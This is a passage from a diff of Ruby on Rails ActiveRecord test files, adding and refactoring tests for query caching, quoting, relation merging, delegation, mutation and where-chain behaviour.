@@ -212,7 +217,5 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
ensure
con.reconnect!
end
-
end
end
-
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 136fda664c..9d89d6a1e8 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -8,7 +8,7 @@ require 'rack'
class QueryCacheTest < ActiveRecord::TestCase
fixtures :tasks, :topics, :categories, :posts, :categories_posts
- def setup
+ teardown do
Task.connection.clear_query_cache
ActiveRecord::Base.connection.disable_query_cache!
end
@@ -118,6 +118,14 @@ class QueryCacheTest < ActiveRecord::TestCase
assert ActiveRecord::Base.connection.query_cache.empty?, 'cache should be empty'
end
+ def test_cache_passing_a_relation
+ post = Post.first
+ Post.cache do
+ query = post.categories.select(:post_id)
+ assert Post.connection.select_all(query).is_a?(ActiveRecord::Result)
+ end
+ end
+
def test_find_queries
assert_queries(2) { Task.find(1); Task.find(1) }
end
@@ -134,6 +142,15 @@ class QueryCacheTest < ActiveRecord::TestCase
end
end
+ def test_find_queries_with_multi_cache_blocks
+ Task.cache do
+ Task.cache do
+ assert_queries(2) { Task.find(1); Task.find(2) }
+ end
+ assert_queries(0) { Task.find(1); Task.find(1); Task.find(2) }
+ end
+ end
+
def test_count_queries_with_cache
Task.cache do
assert_queries(1) { Task.count; Task.count }
@@ -205,7 +222,7 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
Post.find(1)
# change the column definition
- Post.connection.change_column :posts, :title, :string, :limit => 80
+ Post.connection.change_column :posts, :title, :string, limit: 80
assert_nothing_raised { Post.find(1) }
# restore the old definition
@@ -232,7 +249,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
def test_update
Task.connection.expects(:clear_query_cache).times(2)
-
Task.cache do
task = Task.find(1)
task.starting = Time.now.utc
@@ -242,7 +258,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
def test_destroy
Task.connection.expects(:clear_query_cache).times(2)
-
Task.cache do
Task.find(1).destroy
end
@@ -250,7 +265,6 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
def test_insert
ActiveRecord::Base.connection.expects(:clear_query_cache).times(2)
-
Task.cache do
Task.create!
end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
index 3dd11ae89d..e2439b9a24 100644
--- a/activerecord/test/cases/quoting_test.rb
+++ b/activerecord/test/cases/quoting_test.rb
@@ -53,50 +53,40 @@ module ActiveRecord
end
def test_quoted_time_utc
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :utc
- t = Time.now
- assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :utc do
+ t = Time.now
+ assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quoted_time_local
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :local
- t = Time.now
- assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :local do
+ t = Time.now
+ assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quoted_time_crazy
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :asdfasdf
- t = Time.now
- assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :asdfasdf do
+ t = Time.now
+ assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quoted_datetime_utc
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :utc
- t = DateTime.now
- assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :utc do
+ t = DateTime.now
+ assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+ end
end
###
# DateTime doesn't define getlocal, so make sure it does nothing
def test_quoted_datetime_local
- before = ActiveRecord::Base.default_timezone
- ActiveRecord::Base.default_timezone = :local
- t = DateTime.now
- assert_equal t.to_s(:db), @quoter.quoted_date(t)
- ensure
- ActiveRecord::Base.default_timezone = before
+ with_timezone_config default: :local do
+ t = DateTime.now
+ assert_equal t.to_s(:db), @quoter.quoted_date(t)
+ end
end
def test_quote_with_quoted_id
@@ -194,25 +184,6 @@ module ActiveRecord
assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:binary))
end
- def test_quote_binary_with_string_to_binary
- col = Class.new(FakeColumn) {
- def string_to_binary(value)
- 'foo'
- end
- }.new(:binary)
- assert_equal "'foo'", @quoter.quote('lo\l', col)
- end
-
- def test_quote_as_mb_chars_binary_column_with_string_to_binary
- col = Class.new(FakeColumn) {
- def string_to_binary(value)
- 'foo'
- end
- }.new(:binary)
- string = ActiveSupport::Multibyte::Chars.new('lo\l')
- assert_equal "'foo'", @quoter.quote(string, col)
- end
-
def test_string_with_crazy_column
assert_equal "'lo\\\\l'", @quoter.quote('lo\l', FakeColumn.new(:foo))
end
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
index e53a27d5dd..f52fd22489 100644
--- a/activerecord/test/cases/reaper_test.rb
+++ b/activerecord/test/cases/reaper_test.rb
@@ -10,8 +10,7 @@ module ActiveRecord
@pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
end
- def teardown
- super
+ teardown do
@pool.connections.each(&:close)
end
@@ -64,17 +63,22 @@ module ActiveRecord
spec.config[:reaping_frequency] = 0.0001
pool = ConnectionPool.new spec
- pool.dead_connection_timeout = 0
- conn = pool.checkout
- count = pool.connections.length
+ conn = nil
+ child = Thread.new do
+ conn = pool.checkout
+ Thread.stop
+ end
+ Thread.pass while conn.nil?
+
+ assert conn.in_use?
- conn.extend(Module.new { def active?; false; end; })
+ child.terminate
- while count == pool.connections.length
+ while conn.in_use?
Thread.pass
end
- assert_equal(count - 1, pool.connections.length)
+ assert !conn.in_use?
end
end
end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index b5314bc9be..c085fcf161 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -18,6 +18,11 @@ require 'models/subscription'
require 'models/tag'
require 'models/sponsor'
require 'models/edge'
+require 'models/hotel'
+require 'models/chef'
+require 'models/department'
+require 'models/cake_designer'
+require 'models/drink_designer'
class ReflectionTest < ActiveRecord::TestCase
include ActiveRecord::Reflection
@@ -58,7 +63,7 @@ class ReflectionTest < ActiveRecord::TestCase
def test_column_string_type_and_limit
assert_equal :string, @first.column_for_attribute("title").type
- assert_equal 255, @first.column_for_attribute("title").limit
+ assert_equal 250, @first.column_for_attribute("title").limit
end
def test_column_null_not_null
@@ -82,6 +87,14 @@ class ReflectionTest < ActiveRecord::TestCase
end
end
+ def test_irregular_reflection_class_name
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'plural_irregular', 'plurales_irregulares'
+ end
+ reflection = AssociationReflection.new(:has_many, 'plurales_irregulares', nil, {}, ActiveRecord::Base)
+ assert_equal 'PluralIrregular', reflection.class_name
+ end
+
def test_aggregation_reflection
reflection_for_address = AggregateReflection.new(
:composed_of, :address, nil, { :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ] }, Customer
@@ -186,16 +199,8 @@ class ReflectionTest < ActiveRecord::TestCase
ActiveRecord::Base.store_full_sti_class = true
end
- def test_reflection_of_all_associations
- # FIXME these assertions bust a lot
- assert_equal 39, Firm.reflect_on_all_associations.size
- assert_equal 29, Firm.reflect_on_all_associations(:has_many).size
- assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
- assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
- end
-
def test_reflection_should_not_raise_error_when_compared_to_other_object
- assert_nothing_raised { Firm.reflections[:clients] == Object.new }
+ assert_nothing_raised { Firm.reflections['clients'] == Object.new }
end
def test_has_many_through_reflection
@@ -235,6 +240,17 @@ class ReflectionTest < ActiveRecord::TestCase
assert_equal expected, actual
end
+ def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case
+ @hotel = Hotel.create!
+ @department = @hotel.departments.create!
+ @department.chefs.create!(employable: CakeDesigner.create!)
+ @department.chefs.create!(employable: DrinkDesigner.create!)
+
+ assert_equal 1, @hotel.cake_designers.size
+ assert_equal 1, @hotel.drink_designers.size
+ assert_equal 2, @hotel.chefs.size
+ end
+
def test_nested?
assert !Author.reflect_on_association(:comments).nested?
assert Author.reflect_on_association(:tags).nested?
@@ -260,8 +276,9 @@ class ReflectionTest < ActiveRecord::TestCase
reflection = ActiveRecord::Reflection::AssociationReflection.new(:fuu, :edge, nil, {}, Author)
assert_raises(ActiveRecord::UnknownPrimaryKey) { reflection.association_primary_key }
- through = ActiveRecord::Reflection::ThroughReflection.new(:fuu, :edge, nil, {}, Author)
- through.stubs(:source_reflection).returns(stub_everything(:options => {}, :class_name => 'Edge'))
+ through = Class.new(ActiveRecord::Reflection::ThroughReflection) {
+ define_method(:source_reflection) { reflection }
+ }.new(:fuu, :edge, nil, {}, Author)
assert_raises(ActiveRecord::UnknownPrimaryKey) { through.association_primary_key }
end
diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb
new file mode 100644
index 0000000000..9b2bfed039
--- /dev/null
+++ b/activerecord/test/cases/relation/delegation_test.rb
@@ -0,0 +1,68 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/comment'
+
+module ActiveRecord
+ class DelegationTest < ActiveRecord::TestCase
+ fixtures :posts
+
+ def call_method(target, method)
+ method_arity = target.to_a.method(method).arity
+
+ if method_arity.zero?
+ target.public_send(method)
+ elsif method_arity < 0
+ if method == :shuffle!
+ target.public_send(method)
+ else
+ target.public_send(method, 1)
+ end
+ elsif method_arity == 1
+ target.public_send(method, 1)
+ else
+ raise NotImplementedError
+ end
+ end
+ end
+
+ module DelegationWhitelistBlacklistTests
+ ARRAY_DELEGATES = [
+ :+, :-, :|, :&, :[],
+ :all?, :collect, :detect, :each, :each_cons, :each_with_index,
+ :exclude?, :find_all, :flat_map, :group_by, :include?, :length,
+ :map, :none?, :one?, :partition, :reject, :reverse,
+ :sample, :second, :sort, :sort_by, :third,
+ :to_ary, :to_set, :to_xml, :to_yaml
+ ]
+
+ ARRAY_DELEGATES.each do |method|
+ define_method "test_delegates_#{method}_to_Array" do
+ assert_respond_to target, method
+ end
+ end
+
+ ActiveRecord::Delegation::BLACKLISTED_ARRAY_METHODS.each do |method|
+ define_method "test_#{method}_is_not_delegated_to_Array" do
+ assert_raises(NoMethodError) { call_method(target, method) }
+ end
+ end
+ end
+
+ class DelegationAssociationTest < DelegationTest
+ include DelegationWhitelistBlacklistTests
+
+ def target
+ Post.first.comments
+ end
+ end
+
+ class DelegationRelationTest < DelegationTest
+ include DelegationWhitelistBlacklistTests
+
+ fixtures :comments
+
+ def target
+ Comment.all
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/merging_test.rb b/activerecord/test/cases/relation/merging_test.rb
new file mode 100644
index 0000000000..ff1c2a0d82
--- /dev/null
+++ b/activerecord/test/cases/relation/merging_test.rb
@@ -0,0 +1,141 @@
+require 'cases/helper'
+require 'models/author'
+require 'models/comment'
+require 'models/developer'
+require 'models/post'
+require 'models/project'
+
+class RelationMergingTest < ActiveRecord::TestCase
+ fixtures :developers, :comments, :authors, :posts
+
+ def test_relation_merging
+ devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
+ assert_equal [developers(:david), developers(:jamis)], devs.to_a
+
+ dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
+ assert_equal [developers(:poor_jamis)], dev_with_count.to_a
+ end
+
+ def test_relation_to_sql
+ sql = Post.first.comments.to_sql
+ assert_no_match(/\?/, sql)
+ end
+
+ def test_relation_merging_with_arel_equalities_keeps_last_equality
+ devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
+ Developer.where(Developer.arel_table[:salary].eq(9000))
+ )
+ assert_equal [developers(:poor_jamis)], devs.to_a
+ end
+
+ def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
+ salary_attr = Developer.arel_table[:salary]
+ devs = Developer.where(
+ Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
+ ).merge(
+ Developer.where(
+ Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
+ )
+ )
+ assert_equal [developers(:poor_jamis)], devs.to_a
+ end
+
+ def test_relation_merging_with_eager_load
+ relations = []
+ relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
+ relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
+
+ relations.each do |posts|
+ post = posts.find { |p| p.id == 1 }
+ assert_equal Post.find(1).last_comment, post.last_comment
+ end
+ end
+
+ def test_relation_merging_with_locks
+ devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
+ assert devs.locked.present?
+ end
+
+ def test_relation_merging_with_preload
+ [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
+ assert_queries(2) { assert posts.first.author }
+ end
+ end
+
+ def test_relation_merging_with_joins
+ comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
+ assert_equal 1, comments.count
+ end
+
+ def test_relation_merging_with_association
+ assert_queries(2) do # one for loading post, and another one merged query
+ post = Post.where(:body => 'Such a lovely day').first
+ comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
+ assert_equal 1, comments.count
+ end
+ end
+
+ test "merge collapses wheres from the LHS only" do
+ left = Post.where(title: "omg").where(comments_count: 1)
+ right = Post.where(title: "wtf").where(title: "bbq")
+
+ expected = [left.bind_values[1]] + right.bind_values
+ merged = left.merge(right)
+
+ assert_equal expected, merged.bind_values
+ assert !merged.to_sql.include?("omg")
+ assert merged.to_sql.include?("wtf")
+ assert merged.to_sql.include?("bbq")
+ end
+
+ def test_merging_keeps_lhs_bind_parameters
+ column = Post.columns_hash['id']
+ binds = [[column, 20]]
+
+ right = Post.where(id: 20)
+ left = Post.where(id: 10)
+
+ merged = left.merge(right)
+ assert_equal binds, merged.bind_values
+ end
+
+ def test_merging_reorders_bind_params
+ post = Post.first
+ right = Post.where(id: 1)
+ left = Post.where(title: post.title)
+
+ merged = left.merge(right)
+ assert_equal post, merged.first
+ end
+end
+
+class MergingDifferentRelationsTest < ActiveRecord::TestCase
+ fixtures :posts, :authors
+
+ test "merging where relations" do
+ hello_by_bob = Post.where(body: "hello").joins(:author).
+ merge(Author.where(name: "Bob")).order("posts.id").pluck("posts.id")
+
+ assert_equal [posts(:misc_by_bob).id,
+ posts(:other_by_bob).id], hello_by_bob
+ end
+
+ test "merging order relations" do
+ posts_by_author_name = Post.limit(3).joins(:author).
+ merge(Author.order(:name)).pluck("authors.name")
+
+ assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+
+ posts_by_author_name = Post.limit(3).joins(:author).
+ merge(Author.order("name")).pluck("authors.name")
+
+ assert_equal ["Bob", "Bob", "David"], posts_by_author_name
+ end
+
+ test "merging order relations (using a hash argument)" do
+ posts_by_author_name = Post.limit(4).joins(:author).
+ merge(Author.order(name: :desc)).pluck("authors.name")
+
+ assert_equal ["Mary", "Mary", "Mary", "David"], posts_by_author_name
+ end
+end
diff --git a/activerecord/test/cases/relation/mutation_test.rb b/activerecord/test/cases/relation/mutation_test.rb
new file mode 100644
index 0000000000..1da5c36e1c
--- /dev/null
+++ b/activerecord/test/cases/relation/mutation_test.rb
@@ -0,0 +1,161 @@
+require 'cases/helper'
+require 'models/post'
+
+module ActiveRecord
+ class RelationMutationTest < ActiveSupport::TestCase
+ class FakeKlass < Struct.new(:table_name, :name)
+ extend ActiveRecord::Delegation::DelegateCache
+ inherited self
+
+ def connection
+ Post.connection
+ end
+
+ def relation_delegate_class(klass)
+ self.class.relation_delegate_class(klass)
+ end
+
+ def attribute_alias?(name)
+ false
+ end
+ end
+
+ def relation
+ @relation ||= Relation.new FakeKlass.new('posts'), Post.arel_table
+ end
+
+ (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select]).each do |method|
+ test "##{method}!" do
+ assert relation.public_send("#{method}!", :foo).equal?(relation)
+ assert_equal [:foo], relation.public_send("#{method}_values")
+ end
+ end
+
+ test "#_select!" do
+ assert relation.public_send("_select!", :foo).equal?(relation)
+ assert_equal [:foo], relation.public_send("select_values")
+ end
+
+ test '#order!' do
+ assert relation.order!('name ASC').equal?(relation)
+ assert_equal ['name ASC'], relation.order_values
+ end
+
+ test '#order! with symbol prepends the table name' do
+ assert relation.order!(:name).equal?(relation)
+ node = relation.order_values.first
+ assert node.ascending?
+ assert_equal :name, node.expr.name
+ assert_equal "posts", node.expr.relation.name
+ end
+
+ test '#order! on non-string does not attempt regexp match for references' do
+ obj = Object.new
+ obj.expects(:=~).never
+ assert relation.order!(obj)
+ assert_equal [obj], relation.order_values
+ end
+
+ test '#references!' do
+ assert relation.references!(:foo).equal?(relation)
+ assert relation.references_values.include?('foo')
+ end
+
+ test 'extending!' do
+ mod, mod2 = Module.new, Module.new
+
+ assert relation.extending!(mod).equal?(relation)
+ assert_equal [mod], relation.extending_values
+ assert relation.is_a?(mod)
+
+ relation.extending!(mod2)
+ assert_equal [mod, mod2], relation.extending_values
+ end
+
+ test 'extending! with empty args' do
+ relation.extending!
+ assert_equal [], relation.extending_values
+ end
+
+ (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
+ test "##{method}!" do
+ assert relation.public_send("#{method}!", :foo).equal?(relation)
+ assert_equal :foo, relation.public_send("#{method}_value")
+ end
+ end
+
+ test '#from!' do
+ assert relation.from!('foo').equal?(relation)
+ assert_equal ['foo', nil], relation.from_value
+ end
+
+ test '#lock!' do
+ assert relation.lock!('foo').equal?(relation)
+ assert_equal 'foo', relation.lock_value
+ end
+
+ test '#reorder!' do
+ relation = self.relation.order('foo')
+
+ assert relation.reorder!('bar').equal?(relation)
+ assert_equal ['bar'], relation.order_values
+ assert relation.reordering_value
+ end
+
+ test '#reorder! with symbol prepends the table name' do
+ assert relation.reorder!(:name).equal?(relation)
+ node = relation.order_values.first
+
+ assert node.ascending?
+ assert_equal :name, node.expr.name
+ assert_equal "posts", node.expr.relation.name
+ end
+
+ test 'reverse_order!' do
+ relation = Post.order('title ASC, comments_count DESC')
+
+ relation.reverse_order!
+
+ assert_equal 'title DESC', relation.order_values.first
+ assert_equal 'comments_count ASC', relation.order_values.last
+
+
+ relation.reverse_order!
+
+ assert_equal 'title ASC', relation.order_values.first
+ assert_equal 'comments_count DESC', relation.order_values.last
+ end
+
+ test 'create_with!' do
+ assert relation.create_with!(foo: 'bar').equal?(relation)
+ assert_equal({foo: 'bar'}, relation.create_with_value)
+ end
+
+ test 'test_merge!' do
+ assert relation.merge!(where: :foo).equal?(relation)
+ assert_equal [:foo], relation.where_values
+ end
+
+ test 'merge with a proc' do
+ assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
+ end
+
+ test 'none!' do
+ assert relation.none!.equal?(relation)
+ assert_equal [NullRelation], relation.extending_values
+ assert relation.is_a?(NullRelation)
+ end
+
+ test 'distinct!' do
+ relation.distinct! :foo
+ assert_equal :foo, relation.distinct_value
+ assert_equal :foo, relation.uniq_value # deprecated access
+ end
+
+ test 'uniq! was replaced by distinct!' do
+ relation.uniq! :foo
+ assert_equal :foo, relation.distinct_value
+ assert_equal :foo, relation.uniq_value # deprecated access
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/predicate_builder_test.rb b/activerecord/test/cases/relation/predicate_builder_test.rb
new file mode 100644
index 0000000000..4057835688
--- /dev/null
+++ b/activerecord/test/cases/relation/predicate_builder_test.rb
@@ -0,0 +1,14 @@
+require "cases/helper"
+require 'models/topic'
+
+module ActiveRecord
+ class PredicateBuilderTest < ActiveRecord::TestCase
+ def test_registering_new_handlers
+ PredicateBuilder.register_handler(Regexp, proc do |column, value|
+ Arel::Nodes::InfixOperation.new('~', column, Arel.sql(value.source))
+ end)
+
+ assert_match %r{["`]topics["`].["`]title["`] ~ rails}i, Topic.where(title: /rails/).to_sql
+ end
+ end
+end
diff --git a/activerecord/test/cases/relation/where_chain_test.rb b/activerecord/test/cases/relation/where_chain_test.rb
index 92d1e013e8..c6decaad89 100644
--- a/activerecord/test/cases/relation/where_chain_test.rb
+++ b/activerecord/test/cases/relation/where_chain_test.rb
@@ -12,25 +12,37 @@ module ActiveRecord
end
def test_not_eq
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'hello')
relation = Post.where.not(title: 'hello')
- assert_equal([expected], relation.where_values)
+
+ assert_equal 1, relation.where_values.length
+
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'hello', bind.last
end
def test_not_null
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], nil)
+ expected = Post.arel_table[@name].not_eq(nil)
relation = Post.where.not(title: nil)
assert_equal([expected], relation.where_values)
end
+ def test_not_with_nil
+ assert_raise ArgumentError do
+ Post.where.not(nil)
+ end
+ end
+
def test_not_in
- expected = Arel::Nodes::NotIn.new(Post.arel_table[@name], %w[hello goodbye])
+ expected = Post.arel_table[@name].not_in(%w[hello goodbye])
relation = Post.where.not(title: %w[hello goodbye])
assert_equal([expected], relation.where_values)
end
def test_association_not_eq
- expected = Arel::Nodes::NotEqual.new(Comment.arel_table[@name], 'hello')
+ expected = Comment.arel_table[@name].not_eq('hello')
relation = Post.joins(:comments).where.not(comments: {title: 'hello'})
assert_equal(expected.to_sql, relation.where_values.first.to_sql)
end
@@ -38,21 +50,29 @@ module ActiveRecord
def test_not_eq_with_preceding_where
relation = Post.where(title: 'hello').where.not(title: 'world')
- expected = Arel::Nodes::Equality.new(Post.arel_table[@name], 'hello')
- assert_equal(expected, relation.where_values.first)
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::Equality
+ assert_equal 'hello', bind.last
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'world')
- assert_equal(expected, relation.where_values.last)
+ value = relation.where_values.last
+ bind = relation.bind_values.last
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'world', bind.last
end
def test_not_eq_with_succeeding_where
relation = Post.where.not(title: 'hello').where(title: 'world')
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'hello')
- assert_equal(expected, relation.where_values.first)
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'hello', bind.last
- expected = Arel::Nodes::Equality.new(Post.arel_table[@name], 'world')
- assert_equal(expected, relation.where_values.last)
+ value = relation.where_values.last
+ bind = relation.bind_values.last
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::Equality
+ assert_equal 'world', bind.last
end
def test_not_eq_with_string_parameter
@@ -70,11 +90,64 @@ module ActiveRecord
def test_chaining_multiple
relation = Post.where.not(author_id: [1, 2]).where.not(title: 'ruby on rails')
- expected = Arel::Nodes::NotIn.new(Post.arel_table['author_id'], [1, 2])
+ expected = Post.arel_table['author_id'].not_in([1, 2])
assert_equal(expected, relation.where_values[0])
- expected = Arel::Nodes::NotEqual.new(Post.arel_table[@name], 'ruby on rails')
- assert_equal(expected, relation.where_values[1])
+ value = relation.where_values[1]
+ bind = relation.bind_values.first
+
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::NotEqual
+ assert_equal 'ruby on rails', bind.last
+ end
+
+ def test_rewhere_with_one_condition
+ relation = Post.where(title: 'hello').where(title: 'world').rewhere(title: 'alone')
+
+ assert_equal 1, relation.where_values.size
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table[@name], Arel::Nodes::Equality
+ assert_equal 'alone', bind.last
+ end
+
+ def test_rewhere_with_multiple_overwriting_conditions
+ relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone', body: 'again')
+
+ assert_equal 2, relation.where_values.size
+
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+ assert_bound_ast value, Post.arel_table['title'], Arel::Nodes::Equality
+ assert_equal 'alone', bind.last
+
+ value = relation.where_values[1]
+ bind = relation.bind_values[1]
+ assert_bound_ast value, Post.arel_table['body'], Arel::Nodes::Equality
+ assert_equal 'again', bind.last
+ end
+
+ def assert_bound_ast value, table, type
+ assert_equal table, value.left
+ assert_kind_of type, value
+ assert_kind_of Arel::Nodes::BindParam, value.right
+ end
+
+ def test_rewhere_with_one_overwriting_condition_and_one_unrelated
+ relation = Post.where(title: 'hello').where(body: 'world').rewhere(title: 'alone')
+
+ assert_equal 2, relation.where_values.size
+
+ value = relation.where_values.first
+ bind = relation.bind_values.first
+
+ assert_bound_ast value, Post.arel_table['body'], Arel::Nodes::Equality
+ assert_equal 'world', bind.last
+
+ value = relation.where_values.second
+ bind = relation.bind_values.second
+
+ assert_bound_ast value, Post.arel_table['title'], Arel::Nodes::Equality
+ assert_equal 'alone', bind.last
end
end
end
diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb
index d333be3560..937f226b1d 100644
--- a/activerecord/test/cases/relation/where_test.rb
+++ b/activerecord/test/cases/relation/where_test.rb
@@ -24,6 +24,10 @@ module ActiveRecord
}
end
+ def test_rewhere_on_root
+ assert_equal posts(:welcome), Post.rewhere(title: 'Welcome to the weblog').first
+ end
+
def test_belongs_to_shallow_where
author = Author.new
author.id = 1
@@ -31,6 +35,21 @@ module ActiveRecord
assert_equal Post.where(author_id: 1).to_sql, Post.where(author: author).to_sql
end
+ def test_belongs_to_nil_where
+ assert_equal Post.where(author_id: nil).to_sql, Post.where(author: nil).to_sql
+ end
+
+ def test_belongs_to_array_value_where
+ assert_equal Post.where(author_id: [1,2]).to_sql, Post.where(author: [1,2]).to_sql
+ end
+
+ def test_belongs_to_nested_relation_where
+ expected = Post.where(author_id: Author.where(id: [1,2])).to_sql
+ actual = Post.where(author: Author.where(id: [1,2])).to_sql
+
+ assert_equal expected, actual
+ end
+
def test_belongs_to_nested_where
parent = Comment.new
parent.id = 1
@@ -51,6 +70,25 @@ module ActiveRecord
assert_equal expected.to_sql, actual.to_sql
end
+ def test_polymorphic_nested_array_where
+ treasure = Treasure.new
+ treasure.id = 1
+ hidden = HiddenTreasure.new
+ hidden.id = 2
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: [treasure, hidden])
+ actual = PriceEstimate.where(estimate_of: [treasure, hidden])
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
+ def test_polymorphic_nested_relation_where
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: Treasure.where(id: [1,2]))
+ actual = PriceEstimate.where(estimate_of: Treasure.where(id: [1,2]))
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
def test_polymorphic_sti_shallow_where
treasure = HiddenTreasure.new
treasure.id = 1
@@ -81,6 +119,31 @@ module ActiveRecord
assert_equal expected.to_sql, actual.to_sql
end
+ def test_decorated_polymorphic_where
+ treasure_decorator = Struct.new(:model) do
+ def self.method_missing(method, *args, &block)
+ Treasure.send(method, *args, &block)
+ end
+
+ def is_a?(klass)
+ model.is_a?(klass)
+ end
+
+ def method_missing(method, *args, &block)
+ model.send(method, *args, &block)
+ end
+ end
+
+ treasure = Treasure.new
+ treasure.id = 1
+ decorated_treasure = treasure_decorator.new(treasure)
+
+ expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: 1)
+ actual = PriceEstimate.where(estimate_of: decorated_treasure)
+
+ assert_equal expected.to_sql, actual.to_sql
+ end
+
def test_aliased_attribute
expected = Topic.where(heading: 'The First Topic')
actual = Topic.where(title: 'The First Topic')
diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb
index 693b36f35c..fb0b906c07 100644
--- a/activerecord/test/cases/relation_test.rb
+++ b/activerecord/test/cases/relation_test.rb
@@ -9,6 +9,17 @@ module ActiveRecord
fixtures :posts, :comments, :authors
class FakeKlass < Struct.new(:table_name, :name)
+ extend ActiveRecord::Delegation::DelegateCache
+
+ inherited self
+
+ def self.connection
+ Post.connection
+ end
+
+ def self.table_name
+ 'fake_table'
+ end
end
def test_construction
@@ -73,8 +84,8 @@ module ActiveRecord
end
def test_table_name_delegates_to_klass
- relation = Relation.new FakeKlass.new('foo'), :b
- assert_equal 'foo', relation.table_name
+ relation = Relation.new FakeKlass.new('posts'), :b
+ assert_equal 'posts', relation.table_name
end
def test_scope_for_create
@@ -108,6 +119,12 @@ module ActiveRecord
assert_equal({}, relation.scope_for_create)
end
+ def test_bad_constants_raise_errors
+ assert_raises(NameError) do
+ ActiveRecord::Relation::HelloWorld
+ end
+ end
+
def test_empty_eager_loading?
relation = Relation.new FakeKlass, :b
assert !relation.eager_loading?
@@ -168,20 +185,42 @@ module ActiveRecord
end
test 'merging a hash interpolates conditions' do
- klass = stub_everything
- klass.stubs(:sanitize_sql).with(['foo = ?', 'bar']).returns('foo = bar')
+ klass = Class.new(FakeKlass) do
+ def self.sanitize_sql(args)
+ raise unless args == ['foo = ?', 'bar']
+ 'foo = bar'
